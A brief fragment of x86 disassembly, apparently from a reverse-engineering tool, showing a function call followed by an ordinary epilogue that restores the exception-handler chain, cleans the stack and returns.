call fcn.005b0c2b
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14